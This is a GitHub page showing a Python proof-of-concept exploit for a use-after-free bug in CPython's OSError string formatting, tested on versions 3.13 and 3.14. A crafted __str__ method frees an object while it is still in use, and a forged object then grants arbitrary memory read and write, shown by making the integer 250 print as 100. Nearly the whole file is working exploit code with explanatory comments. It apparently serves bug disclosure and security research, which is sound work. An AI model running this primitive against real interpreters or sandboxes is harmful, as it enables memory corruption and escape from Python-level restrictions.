-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathoserror_bug.py
More file actions
90 lines (75 loc) · 2.91 KB
/
oserror_bug.py
File metadata and controls
90 lines (75 loc) · 2.91 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
"""
Author: @Nico-Posada
Bug Credits: @Nico-Posada
"""
# TLDR: Some format string specifiers can call python code and we can use that to
# cause a controlled object to be freed before it's done being used
# Tested to work on 3.13.0, 3.13.1, 3.14.0
# Here is the vulnerable code as of 3.14.0
# https://github.com/python/cpython/blob/v3.14.0/Objects/exceptions.c#L2210-L2254
"""
static PyObject *
OSError_str(PyObject *op)
{
PyOSErrorObject *self = PyOSErrorObject_CAST(op);
#define OR_NONE(x) ((x)?(x):Py_None)
/* snip */
if (self->filename) {
if (self->filename2) {
return PyUnicode_FromFormat("[Errno %S] %S: %R -> %R", // <--- %S and %R can call python code
OR_NONE(self->myerrno),
OR_NONE(self->strerror),
self->filename,
self->filename2);
} else {
return PyUnicode_FromFormat("[Errno %S] %S: %R", // <--- %S and %R can call python code
OR_NONE(self->myerrno),
OR_NONE(self->strerror),
self->filename);
}
}
if (self->myerrno && self->strerror)
return PyUnicode_FromFormat("[Errno %S] %S", // <--- %S can call python code
self->myerrno, self->strerror); // <--- myerrno and strerror used without incref'ing beforehand
return BaseException_str(op);
}
"""
# We have multiple spots where formats that can call python code are used, and the args are passed to the format
# func without incrementing the refcount beforehand. We can abuse this by having the `myerrno` obj have a custom
# `__str__` function that updates the value of `strerror` which will delete the old object. After deleting the old obj
# the format func will still use it, so we can overwrite that memory with a fake object that has our evil object in one of
# its slots and a custom `__str__` function to retrieve that evil object.
from common import evil_bytearray_obj, p_long
class catch:
__slots__ = ("mem",)
def __str__(self):
global mem
mem = self.mem
return "x"
class evil:
def __str__(self):
global err, _ref
err.strerror = "old object deleted"
_ref = fake_obj.ljust(SIZE, b"\0")
return "x"
class bytes_subclass(bytes):
pass
# see ./common/common.py for evil bytearray obj explanation
fake_ba, ba_addr = evil_bytearray_obj()
fake_obj = (
p_long(0x12345) + # ob_refcnt
p_long(id(catch)) + # ob_type
p_long(ba_addr) # slot 1 (`mem` in our case)
)
SIZE = 0x100
err = OSError()
err.errno = evil()
err.strerror = bytes_subclass(SIZE - 0x18)
mem = None
"%s" % err # trigger bug
if mem is None:
exit("failed")
print(type(mem))
print(hex(len(mem)))
mem[id(250) + int.__basicsize__] = 100
print(250) # => 100